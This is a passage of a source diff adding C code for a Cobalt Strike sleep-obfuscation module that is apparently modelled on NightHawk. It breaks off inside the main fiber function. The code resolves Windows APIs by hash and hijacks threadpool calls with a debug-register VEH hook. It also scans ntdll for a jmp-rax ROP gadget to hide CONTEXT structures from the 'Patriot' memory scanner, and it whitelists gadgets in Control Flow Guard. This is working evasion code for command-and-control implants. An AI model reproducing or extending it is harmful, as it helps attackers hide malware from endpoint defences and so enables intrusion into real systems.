     104 +typedef struct
     105 +{
     106 + D_API( CloseThreadpoolCleanupGroupMembers );
     107 + D_API( NtSignalAndWaitForSingleObject );
     108 + D_API( CreateThreadpoolCleanupGroup );
     109 + D_API( SetThreadpoolThreadMaximum );
     110 + D_API( SetThreadpoolThreadMinimum );
     111 + D_API( NtQueryInformationThread );
     112 + D_API( LdrGetProcedureAddress );
     113 + D_API( WaitForSingleObjectEx );
     114 + D_API( NtWaitForSingleObject );
     115 + D_API( NtQueryVirtualMemory );
     116 + D_API( RtlInitUnicodeString );
     117 + D_API( RtlCopyMappedMemory );
     118 + D_API( NtGetContextThread );
     119 + D_API( NtSetContextThread );
     120 + D_API( RtlDeregisterWait );
     121 + D_API( SystemFunction032 );
     122 + D_API( RtlCaptureContext );
     123 + D_API( RtlInitAnsiString );
     124 + D_API( NtDuplicateObject );
     125 + D_API( NtCreateThreadEx );
     126 + D_API( CreateThreadpool );
     127 + D_API( NtSuspendThread );
     128 + D_API( NtGetNextThread );
     129 + D_API( CloseThreadpool );
     130 + D_API( RtlAllocateHeap );
     131 + D_API( VirtualProtect );
     132 + D_API( NtResumeThread );
     133 + D_API( NtCreateEvent );
     134 + D_API( LdrUnloadDll );
     135 + D_API( RtlFreeHeap );
     136 + D_API( LdrLoadDll );
     137 + D_API( NtContinue );
     138 + D_API( SetEvent );
     139 + D_API( NtClose );
     140 +} API ;
     141 + 
     142 +/* API Hashes */
     143 +#define H_API_RTLREMOVEVECTOREDEXCEPTIONHANDLER 0xad1b018e /* RtlRemoveVectoredExceptionHandler */
     144 +#define H_API_RTLADDVECTOREDEXCEPTIONHANDLER 0x2df06c89 /* RtlAddVectoredExceptionHandler */
     145 +#define H_API_NTSIGNALANDWAITFORSINGLEOBJECT 0x78983aed /* NtSignalAndWaitForSingleObject */
     146 +#define H_API_SETPROCESSVALIDCALLTARGETS 0x647d9236 /* SetProcessValidCallTargets */
     147 +#define H_API_NTQUERYINFORMATIONTHREAD 0xf5a0461b /* NtQueryInformationThread */
     148 +#define H_API_LDRGETPROCEDUREADDRESS 0xfce76bb6 /* LdrGetProcedureAddress */
     149 +#define H_API_NTWAITFORSINGLEOBJECT 0xe8ac0c3c /* NtWaitForSingleObject */
     150 +#define H_API_NTQUERYVIRTUALMEMORY 0x10c0e85d /* NtQueryVirtualMemory */
     151 +#define H_API_RTLINITUNICODESTRING 0xef52b589 /* RtlInitUnicodeString */
     152 +#define H_API_RTLCOPYMAPPEDMEMORY 0x5b56b302 /* RtlCopyMappedMemory */
     153 +#define H_API_WAITFORSINGLEOBJECT 0x0df1b3da /* WaitForSingleObject */
     154 +#define H_API_NTGETCONTEXTTHREAD 0x6d22f884 /* NtGetContextThread */
     155 +#define H_API_NTSETCONTEXTTHREAD 0xffa0bf10 /* NtSetContextThread */
     156 +#define H_API_RTLDEREGISTERWAIT 0x961776da /* RtlDeregisterWait */
     157 +#define H_API_RTLCAPTURECONTEXT 0xeba8d910 /* RtlCaptureContext */
     158 +#define H_API_RTLINITANSISTRING 0xa0c8436d /* RtlInitAnsiString */
     159 +#define H_API_NTDUPLICATEOBJECT 0x4441d859 /* NtDuplicateObject */
     160 +#define H_API_NTCREATETHREADEX 0xaf18cfb0 /* NtCreateThreadEx */
     161 +#define H_API_RTLREGISTERWAIT 0x600fe691 /* RtlRegisterWait */
     162 +#define H_API_NTSUSPENDTHREAD 0xe43d93e1 /* NtSuspendThread */
     163 +#define H_API_NTGETNEXTTHREAD 0xa410fb9e /* NtGetNextThread */
     164 +#define H_API_RTLALLOCATEHEAP 0x3be94c5a /* RtlAllocateHeap */
     165 +#define H_API_NTRESUMETHREAD 0x5a4bc3d0 /* NtResumeThread */
     166 +#define H_API_NTCREATEEVENT 0x28d3233d /* NtCreateEvent */
     167 +#define H_API_LDRUNLOADDLL 0xd995c1e6 /* LdrUnloadDll */
     168 +#define H_API_RTLFREEHEAP 0x73a9e4d7 /* RtlFreeHeap */
     169 +#define H_API_NTSETEVENT 0xcb87d8b5 /* NtSetEvent */
     170 +#define H_API_LDRLOADDLL 0x9e456a43 /* LdrLoadDll */
     171 +#define H_API_NTCONTINUE 0xfc3a6c2c /* NtContinue */
     172 +#define H_API_SETEVENT 0x9d7ff713 /* SetEvent */
     173 +#define H_API_NTCLOSE 0x40d6e69d /* NtClose */
     174 + 
     175 +/* LIB Hashes */
     176 +#define H_LIB_KERNELBASE 0x03ebb38b /* kernelbase.dll */
     177 +#define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */
     178 + 
     179 +/* STR Hashes */
     180 +#define H_STR_TPALLOCWAIT 0x3fc54f89 /* TpAllocWait */
     181 +#define H_STR_TEXT 0x0b6ea858 /* .text */
     182 + 
     183 +/*!
     184 + *
     185 + * Purpose:
     186 + *
     187 + * Extracts information about the current thread
     188 + * and notifies when ready. Does not return, as
     189 + * the new thread will be manipulated to back to
     190 + * the new entry.
     191 + *
     192 +!*/
     193 +static D_SEC( E ) VOID WINAPI ThreadCaptureReturnAddr( _In_ PTHREAD_PARAM Param )
     194 +{
     195 + /* Extract the frame address */
     196 + Param->Rsp = C_PTR( U_PTR( __builtin_frame_address( 0 ) ) + sizeof( PVOID ) );
     197 + 
     198 + /* Notify we can be modified and wait till we can run the modification */
     199 + ( ( __typeof__( NtSignalAndWaitForSingleObject ) * ) PeGetFuncEat(
     200 + PebGetModule( H_LIB_NTDLL ), H_API_NTSIGNALANDWAITFORSINGLEOBJECT ) )(
     201 + Param->Ev1, Param->Ev2, FALSE, NULL
     202 + );
     203 + 
     204 +};
     205 + 
     206 +/*!
     207 + *
     208 + * Purpose:
     209 + *
     210 + * Get a handle to the thread pool thread so we can
     211 + * copy its NT_TIB structure from the leaked RSP
     212 + * stack pointer.
     213 + *
     214 +!*/
     215 +static D_SEC( E ) BOOLEAN GetThreadInfoBlockFromStack( _In_ PVOID Address, _Out_ PNT_TIB InfoBlock )
     216 +{
     217 + API Api;
     218 + NT_TIB Tib;
     219 + CONTEXT Ctx;
     220 + CLIENT_ID Cid;
     221 + THREAD_TEB_INFORMATION Tti;
     222 + MEMORY_BASIC_INFORMATION Mb1;
     223 + MEMORY_BASIC_INFORMATION Mb2;
     224 + 
     225 + BOOLEAN Ret = FALSE;
     226 + 
     227 + HANDLE Thd = NULL;
     228 + HANDLE Nxt = NULL;
     229 + 
     230 + /* Zero out stack structures */
     231 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     232 + RtlSecureZeroMemory( &Tib, sizeof( Tib ) );
     233 + RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) );
     234 + RtlSecureZeroMemory( &Cid, sizeof( Cid ) );
     235 + RtlSecureZeroMemory( &Tti, sizeof( Tti ) );
     236 + RtlSecureZeroMemory( &Mb1, sizeof( Mb1 ) );
     237 + RtlSecureZeroMemory( &Mb2, sizeof( Mb2 ) );
     238 + 
     239 + Api.NtQueryInformationThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTQUERYINFORMATIONTHREAD );
     240 + Api.NtQueryVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTQUERYVIRTUALMEMORY );
     241 + Api.NtGetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETCONTEXTTHREAD );
     242 + Api.NtDuplicateObject = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTDUPLICATEOBJECT );
     243 + Api.NtSuspendThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSUSPENDTHREAD );
     244 + Api.NtGetNextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETNEXTTHREAD );
     245 + Api.NtResumeThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTRESUMETHREAD );
     246 + Api.NtClose = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCLOSE );
     247 + 
     248 + /* Enumerate the entire threads that are available */
     249 + while ( NT_SUCCESS( Api.NtGetNextThread( NtCurrentProcess(), Thd, THREAD_ALL_ACCESS, 0, 0, &Nxt ) ) ) {
     250 + /* Do we have a valid thread? */
     251 + if ( Thd != NULL ) {
     252 + /* Close it! */
     253 + Api.NtClose( Thd );
     254 + };
     255 + /* Move to next thread */
     256 + Thd = C_PTR( Nxt );
     257 + 
     258 + /* Setup parameters we want to query */
     259 + Tti.TebOffset = FIELD_OFFSET( TEB, ClientId );
     260 + Tti.BytesToRead = sizeof( CLIENT_ID );
     261 + Tti.TebInformation = C_PTR( &Cid );
     262 + 
     263 + /* Query Information about the target thread */
     264 + if ( NT_SUCCESS( Api.NtQueryInformationThread( Thd, ThreadTebInformation, &Tti, sizeof( Tti ), NULL ) ) ) {
     265 + /* Does not match our current thread? */
     266 + if ( U_PTR( Cid.UniqueThread ) != U_PTR( NtCurrentTeb()->ClientId.UniqueThread ) ) {
     267 + /* Suspend the current thread */
     268 + if ( NT_SUCCESS( Api.NtSuspendThread( Thd, NULL ) ) ) {
     269 + 
     270 + Ctx.ContextFlags = CONTEXT_FULL;
     271 + 
     272 + /* Get information about the current thread */
     273 + if ( NT_SUCCESS( Api.NtGetContextThread( Thd, &Ctx ) ) ) {
     274 + /* Query information about the RSP */
     275 + if ( NT_SUCCESS( Api.NtQueryVirtualMemory( NtCurrentProcess(), Ctx.Rsp, MemoryBasicInformation, &Mb1, sizeof( Mb1 ), NULL ) ) ) {
     276 + /* Query information about the stack leak */
     277 + if ( NT_SUCCESS( Api.NtQueryVirtualMemory( NtCurrentProcess(), Address, MemoryBasicInformation, &Mb2, sizeof( Mb2 ), NULL ) ) ) {
     278 + /* Query information about the same region */
     279 + if ( U_PTR( Mb1.AllocationBase ) == U_PTR( Mb2.AllocationBase ) ) {
     280 + 
     281 + /* Setup parameters of what we want to query */
     282 + Tti.TebOffset = FIELD_OFFSET( TEB, NtTib );
     283 + Tti.BytesToRead = sizeof( NT_TIB );
     284 + Tti.TebInformation = C_PTR( InfoBlock );
     285 + 
     286 + /* Query information about the target thread */
     287 + if ( NT_SUCCESS( Api.NtQueryInformationThread( Thd, ThreadTebInformation, &Tti, sizeof( Tti ), NULL ) ) ) {
     288 + /* Status */
     289 + Ret = TRUE ;
     290 + };
     291 + };
     292 + };
     293 + };
     294 + };
     295 + /* Resume the current thread */
     296 + Api.NtResumeThread( Thd, NULL );
     297 + };
     298 + };
     299 + };
     300 + /* Did we read it successfully? */
     301 + if ( Ret != FALSE ) {
     302 + /* Abort! */
     303 + break;
     304 + };
     305 + };
     306 + /* Close the last reference */
     307 + if ( Thd != NULL ) {
     308 + /* Close the handle! */
     309 + Api.NtClose( Thd );
     310 + };
     311 + 
     312 + /* Zero out stack structures */
     313 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     314 + RtlSecureZeroMemory( &Tib, sizeof( Tib ) );
     315 + RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) );
     316 + RtlSecureZeroMemory( &Cid, sizeof( Cid ) );
     317 + RtlSecureZeroMemory( &Tti, sizeof( Tti ) );
     318 + RtlSecureZeroMemory( &Mb1, sizeof( Mb1 ) );
     319 + RtlSecureZeroMemory( &Mb2, sizeof( Mb2 ) );
     320 + 
     321 + /* Return */
     322 + return Ret;
     323 +};
     324 + 
     325 +/*!
     326 + *
     327 + * Purpose:
     328 + *
     329 + * Locates a jmp rax 0xFF, 0xE0 gadget in memory.
     330 + * Used as a means of hiding the CONTEXT structure
     331 + * from Patriot.
     332 + *
     333 +!*/
     334 +static D_SEC( E ) PVOID GetJmpRaxTarget( VOID )
     335 +{
     336 + HDE Hde;
     337 + 
     338 + ULONG Ofs = 0;
     339 + 
     340 + PBYTE Ptr = NULL;
     341 + PBYTE Pos = NULL;
     342 + PIMAGE_DOS_HEADER Dos = NULL;
     343 + PIMAGE_NT_HEADERS Nth = NULL;
     344 + PIMAGE_SECTION_HEADER Sec = NULL;
     345 + 
     346 + /* Zero out stack structures */
     347 + RtlSecureZeroMemory( &Hde, sizeof( Hde ) );
     348 + 
     349 + Dos = C_PTR( PebGetModule( H_LIB_NTDLL ) );
     350 + Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew );
     351 + Sec = IMAGE_FIRST_SECTION( Nth );
     352 + 
     353 + /* Enumerate each individual section in memory */
     354 + for ( INT Idx = 0; Idx < Nth->FileHeader.NumberOfSections ; ++Idx ) {
     355 + /* Locate the .text section in memory */
     356 + if ( HashString( & Sec[ Idx ].Name, 0 ) == H_STR_TEXT ) {
     357 + 
     358 + Ofs = 0;
     359 + Pos = C_PTR( U_PTR( Dos ) + Sec[ Idx ].VirtualAddress );
     360 + 
     361 + do
     362 + {
     363 + /* Attempt to disassemble */
     364 + HDE_DISASM( C_PTR( U_PTR( Pos ) + Ofs ), &Hde );
     365 + 
     366 + /* Did this fail to disassemble? */
     367 + if ( Hde.flags & F_ERROR ) {
     368 + /* Couldnt decode? Odd: Move up one byte! */
     369 + Ofs = Ofs + 1;
     370 + 
     371 + /* Restart the loop */
     372 + continue;
     373 + };
     374 + 
     375 + /* Is the instruction the right size? */
     376 + if ( Hde.len == 2 ) {
     377 + /* Does the instruction match the correct operand etc? */
     378 + if ( ( ( PBYTE ) ( C_PTR( U_PTR( Pos ) + Ofs ) ) ) [ 0 ] == 0xFF && ( ( PBYTE )( C_PTR( U_PTR( Pos ) + Ofs ) ) ) [ 1 ] == 0xE0 ) {
     379 + /* Set the address of the instruction */
     380 + Ptr = C_PTR( U_PTR( Pos ) + Ofs );
     381 + 
     382 + /* Abort! */
     383 + break;
     384 + };
     385 + };
     386 + 
     387 + /* Increment to next instruction */
     388 + Ofs = Ofs + Hde.len;
     389 + } while ( Ofs < Sec[ Idx ].SizeOfRawData );
     390 + 
     391 + /* Abort! */
     392 + break;
     393 + };
     394 + };
     395 + 
     396 + /* Zero out stack structures */
     397 + RtlSecureZeroMemory( &Hde, sizeof( Hde ) );
     398 + 
     399 + /* Return Address */
     400 + return C_PTR( Ptr );
     401 +};
     402 + 
     403 +/*!
     404 + *
     405 + * Purpose:
     406 + *
     407 + * Enables a debug breakpoint at the specified addr.
     408 + * Uses DR3 to trigger the breakpoint without issue.
     409 + *
     410 +!*/
     411 +static D_SEC( E ) NTSTATUS EnableBreakpoint( _In_ PVOID Addr )
     412 +{
     413 + API Api;
     414 + CONTEXT Ctx;
     415 + 
     416 + NTSTATUS Nst = 0;
     417 + ULONG_PTR Bit = 0;
     418 + ULONG_PTR Msk = 0;
     419 + 
     420 + /* Zero out stack structures */
     421 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     422 + RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) );
     423 + 
     424 + Api.NtGetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETCONTEXTTHREAD );
     425 + Api.NtSetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSETCONTEXTTHREAD );
     426 + 
     427 + Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
     428 + 
     429 + if ( NT_SUCCESS( ( Nst = Api.NtGetContextThread( NtCurrentThread(), &Ctx ) ) ) ) {
     430 + /* Set DR3 to the specified address */
     431 + Ctx.Dr3 = U_PTR( Addr );
     432 + 
     433 + /* Set DR7 */
     434 + Ctx.Dr7 &= ~( 3ULL << ( 16 + 4 * 3 ) );
     435 + Ctx.Dr7 &= ~( 3ULL << ( 18 + 4 * 3 ) );
     436 + Ctx.Dr7 |= 1ULL << ( 2 * 3 );
     437 + 
     438 + Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
     439 + Nst = Api.NtSetContextThread( NtCurrentThread(), &Ctx );
     440 + };
     441 + /* Zero out stack structures */
     442 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     443 + RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) );
     444 + 
     445 + /* Status */
     446 + return Nst;
     447 +};
     448 + 
     449 +/*!
     450 + *
     451 + * Purpose:
     452 + *
     453 + * Disables DR3 debug register
     454 + *
     455 +!*/
     456 + 
     457 +static D_SEC( E ) NTSTATUS RemoveBreakpoint( _In_ PVOID Addr )
     458 +{
     459 + API Api;
     460 + CONTEXT Ctx;
     461 + 
     462 + NTSTATUS Nst = 0;
     463 + ULONG_PTR Msk = 0;
     464 + ULONG_PTR Bit = 0;
     465 + 
     466 + /* Zero out stack structures */
     467 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     468 + RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) );
     469 + 
     470 + Api.NtGetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETCONTEXTTHREAD );
     471 + Api.NtSetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSETCONTEXTTHREAD );
     472 + 
     473 + Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
     474 + 
     475 + if ( NT_SUCCESS( ( Nst = Api.NtGetContextThread( NtCurrentThread(), &Ctx ) ) ) ) {
     476 + /* Set DR7 */
     477 + Ctx.Dr3 = 0;
     478 + Ctx.Dr7 &= ~( 1ULL << ( 2 * 3 ) );
     479 + 
     480 + Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
     481 + Nst = Api.NtSetContextThread( NtCurrentThread(), &Ctx );
     482 + };
     483 + /* Zero out stack structures */
     484 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     485 + RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) );
     486 + 
     487 + /* Status */
     488 + return Nst;
     489 +};
     490 + 
     491 +/*!
     492 + *
     493 + * Purpose:
     494 + *
     495 + * Modifies TpAllocWait to use a custom thread pool. Inteded to
     496 + * act as a hook for the call RtlRegisterWait and redirected to
     497 + * with a VEH debugger.
     498 + *
     499 +!*/
     500 +static D_SEC( E ) NTSTATUS NTAPI TpAllocWaitHook( _Out_ PTP_WAIT **Out, _In_ PTP_WAIT_CALLBACK Callback, _Inout_opt_ PVOID Context, _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron )
     501 +{
     502 + PTABLE Tbl = NULL;
     503 + NTSTATUS Ret = STATUS_UNSUCCESSFUL;
     504 + 
     505 + /* Get a pointer to Table */
     506 + Tbl = C_PTR( G_SYM( Table ) );
     507 + 
     508 + /* Remove a breakpoint on the ntdll!TpAllocTimer */
     509 + if ( NT_SUCCESS( RemoveBreakpoint( C_PTR( PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_STR_TPALLOCWAIT ) ) ) ) ) {
     510 + /* Execute TpAllocTimer and swap CallbackEnviron with a replacement */
     511 + Ret = ( ( __typeof__( TpAllocWaitHook ) * ) PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_STR_TPALLOCWAIT ) )(
     512 + Out, Callback, Context, & Tbl->Table->Debugger.PoolEnv
     513 +
     514 + );
     515 + };
     516 + 
     517 + /* Return */
     518 + return Ret;
     519 +};
     520 + 
     521 +/*!
     522 + *
     523 + * Purpose:
     524 + *
     525 + * Simple VEH-based debugger that will attempt to redirect all
     526 + * calls to TpAllocWork to a hooked version which will insert
     527 + * our custom thread pool.
     528 + *
     529 +!*/
     530 +static D_SEC( E ) LONG WINAPI VehDebugger( _In_ PEXCEPTION_POINTERS ExceptionIf )
     531 +{
     532 + DWORD Ret = EXCEPTION_CONTINUE_SEARCH;
     533 + PTABLE Tbl = NULL;
     534 + 
     535 + Tbl = C_PTR( G_SYM( Table ) );
     536 + 
     537 + /* Is the thread where our debugger comes from ? */
     538 + if ( Tbl->Table->ClientId.UniqueThread == NtCurrentTeb()->ClientId.UniqueThread ) {
     539 + if ( ExceptionIf->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP ) {
     540 + if ( U_PTR( ExceptionIf->ExceptionRecord->ExceptionAddress ) == U_PTR( PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_STR_TPALLOCWAIT ) ) ) {
     541 + /* Redirect TpAllocTimer -> TpAllocTimerHook */
     542 + ExceptionIf->ContextRecord->Rip = U_PTR( G_SYM( TpAllocWaitHook ) );
     543 + };
     544 + /* Notify! */
     545 + Ret = EXCEPTION_CONTINUE_EXECUTION;
     546 + };
     547 + };
     548 + 
     549 + /* Return */
     550 + return Ret;
     551 +};
     552 + 
     553 +/*!
     554 + *
     555 + * Purpose:
     556 + *
     557 + * Inserts a breakpoint to force RtlRegisterWait
     558 + * to use our thread pool, then calls the func
     559 + * as normal.
     560 + *
     561 +!*/
     562 +static D_SEC( E ) NTSTATUS NTAPI RtlRegisterWaitWrap(
     563 + _In_ PHANDLE NewWaitObject,
     564 + _In_ HANDLE Object,
     565 + _In_ WAITORTIMERCALLBACKFUNC Callback,
     566 + _In_ PVOID Context,
     567 + _In_ ULONG Milliseconds,
     568 + _In_ ULONG Flags
     569 +)
     570 +{
     571 + HCK_API Api;
     572 + PVOID Veh = NULL;
     573 + NTSTATUS Nst = STATUS_UNSUCCESSFUL;
     574 + 
     575 + /* Zero out stack structures */
     576 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     577 + 
     578 + Api.RtlRemoveVectoredExceptionHandler = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLREMOVEVECTOREDEXCEPTIONHANDLER );
     579 + Api.RtlAddVectoredExceptionHandler = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLADDVECTOREDEXCEPTIONHANDLER );
     580 + Api.RtlRegisterWait = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLREGISTERWAIT );
     581 + 
     582 + /* Insert a Vectored Exception Handling callback to act as a hooking debugger */
     583 + if ( ( Veh = Api.RtlAddVectoredExceptionHandler( 1, C_PTR( G_SYM( VehDebugger ) ) ) ) != NULL ) {
     584 + /* Insert a breakpoint into ntdll!TpAllocWait */
     585 + if ( NT_SUCCESS( EnableBreakpoint( PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_STR_TPALLOCWAIT ) ) ) ) {
     586 + /* Call the API, which will then 'hooked' */
     587 + Nst = Api.RtlRegisterWait( NewWaitObject, Object, Callback, Context, Milliseconds, Flags );
     588 + 
     589 + /* 'Remove' the breakpoint */
     590 + RemoveBreakpoint( PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_STR_TPALLOCWAIT ) );
     591 + };
     592 + /* Remove the VEH handler */
     593 + Api.RtlRemoveVectoredExceptionHandler( Veh );
     594 + };
     595 + 
     596 + /* Zero out stack structures */
     597 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     598 + 
     599 + /* Status */
     600 + return Nst;
     601 +};
     602 + 
     603 +/*!
     604 + *
     605 + * Purpose:
     606 + *
     607 + * Adds a ROP gadget to the CFG exception list to
     608 + * permit ROP gadgets from being marked as an
     609 + * invalid target.
     610 + *
     611 +!*/
     612 +static D_SEC( E ) VOID CfgEnableFunc( _In_ PVOID ImageBase, _In_ PVOID Function )
     613 +{
     614 + CFG_API Api;
     615 + CFG_CALL_TARGET_INFO Cfg;
     616 + 
     617 + SIZE_T Len = 0;
     618 + 
     619 + PVOID Kbs = NULL;
     620 + PIMAGE_DOS_HEADER Dos = NULL;
     621 + PIMAGE_NT_HEADERS Nth = NULL;
     622 + 
     623 + /* Zero out stack structures */
     624 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     625 + RtlSecureZeroMemory( &Cfg, sizeof( Cfg ) );
     626 + 
     627 + Dos = C_PTR( ImageBase );
     628 + Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew );
     629 + Len = U_PTR( ( Nth->OptionalHeader.SizeOfImage + 0x1000 - 1 ) &~ ( 0x1000 - 1 ) );
     630 + 
     631 + if ( ( Kbs = PebGetModule( H_LIB_KERNELBASE ) ) != NULL ) {
     632 + Api.SetProcessValidCallTargets = PeGetFuncEat( Kbs, H_API_SETPROCESSVALIDCALLTARGETS );
     633 + 
     634 + if ( Api.SetProcessValidCallTargets != NULL ) {
     635 + Cfg.Flags = CFG_CALL_TARGET_VALID;
     636 + Cfg.Offset = U_PTR( Function ) - U_PTR( ImageBase );
     637 + 
     638 + Api.SetProcessValidCallTargets( NtCurrentProcess(), Dos, Len, 1, &Cfg );
     639 + };
     640 + };
     641 + 
     642 + /* Zero out stack structures */
     643 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     644 + RtlSecureZeroMemory( &Cfg, sizeof( Cfg ) );
     645 +};
     646 + 
     647 +/*!
     648 + *
     649 + * Purpose:
     650 + *
     651 + * Uses NightHawk's Obfuscate/Sleep implementation to
     652 + * hide traces of Cobalt Strike in memory. Temporary
     653 + * version, limited to x86_64 currently. Blocks on a
     654 + * 'handle' to wait on.
     655 + *
     656 +!*/
     657 +static D_SEC( E ) VOID WINAPI ObfSleepFiber( _In_ PFIBER_PARAM Parameter )
     658 +{
     659 + API Api;
     660 + UCHAR Rnd[ 16 ];
     661 + NT_TIB Oli;
     662 + NT_TIB Nwi;
     663 + USTRING Key;
     664 + USTRING Buf;
     665 + CONTEXT Ctx;
     666 + ANSI_STRING Ani;
     667 + UNICODE_STRING Uni;
     668 + 
     669 + DWORD Prt = 0;
     670 + DWORD Del = 0;
     671 + SIZE_T XLn = 0;
     672 + SIZE_T FLn = 0;
     673 + 
     674 + PVOID Ev1 = NULL;
     675 + PVOID Ev2 = NULL;
     676 + PVOID Ev3 = NULL;
     677 + PVOID Ev4 = NULL;
     678 + PVOID K32 = NULL;
     679 + PVOID Adv = NULL;
     680 + PVOID Img = NULL;
     681 + PVOID Que = NULL;
     682 + 
     683 + PVOID Cln = NULL;
     684 + PVOID Pol = NULL;
     685 + 
     686 + PVOID Gdg = NULL;
     687 + 
     688 + HANDLE Src = NULL;
     689 + PTABLE Tbl = NULL;
     690 + PCONTEXT Cap = NULL;
     691 + PCONTEXT Beg = NULL;
     692 + PCONTEXT Set = NULL;
     693 + PCONTEXT Enc = NULL;
     694 + PCONTEXT Gt1 = NULL;
     695 + PCONTEXT Cp1 = NULL;
     696 + PCONTEXT Cp2 = NULL;
     697 + PCONTEXT St1 = NULL;
     698 + PCONTEXT Sev = NULL;
     699 + PCONTEXT Blk = NULL;
     700 + PCONTEXT Cp3 = NULL;
     701 + PCONTEXT St2 = NULL;
     702 + PCONTEXT Dec = NULL;
     703 + PCONTEXT Res = NULL;
     704 + PCONTEXT End = NULL;
     705 + 
     706 + /* Zero out stack structures */
     707 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     708 + RtlSecureZeroMemory( &Rnd, sizeof( Rnd ) );
     709 + RtlSecureZeroMemory( &Oli, sizeof( Oli ) );
     710 + RtlSecureZeroMemory( &Nwi, sizeof( Nwi ) );
     711 + RtlSecureZeroMemory( &Key, sizeof( Key ) );
     712 + RtlSecureZeroMemory( &Buf, sizeof( Buf ) );
     713 + RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) );
     714 + RtlSecureZeroMemory( &Ani, sizeof( Ani ) );
     715 + RtlSecureZeroMemory( &Uni, sizeof( Uni ) );
     716 + 
     717 + Api.NtSignalAndWaitForSingleObject = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSIGNALANDWAITFORSINGLEOBJECT );
     718 + Api.LdrGetProcedureAddress = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRGETPROCEDUREADDRESS );
     719 + Api.NtWaitForSingleObject = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTWAITFORSINGLEOBJECT );
     720 + Api.RtlInitUnicodeString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITUNICODESTRING );
     721 + Api.RtlCopyMappedMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLCOPYMAPPEDMEMORY );
     722 + Api.NtGetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETCONTEXTTHREAD );
     723 + Api.NtSetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSETCONTEXTTHREAD );
     724 + Api.RtlDeregisterWait = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLDEREGISTERWAIT );
     725 + Api.RtlCaptureContext = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLCAPTURECONTEXT );
     726 + Api.RtlInitAnsiString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITANSISTRING );
     727 + Api.NtDuplicateObject = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTDUPLICATEOBJECT );
     728 + Api.NtGetNextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETNEXTTHREAD );
     729 + Api.RtlAllocateHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLALLOCATEHEAP );
     730 + Api.NtResumeThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTRESUMETHREAD );
     731 + Api.NtCreateEvent = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCREATEEVENT );
     732 + Api.LdrUnloadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRUNLOADDLL );
     733 + Api.RtlFreeHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLFREEHEAP );
     734 + Api.LdrLoadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRLOADDLL );
     735 + Api.NtContinue = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCONTINUE );
     736 + Api.NtClose = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCLOSE );
     737 + 
     738 + /* Load kernel32.dll if it somehow isnt already! */
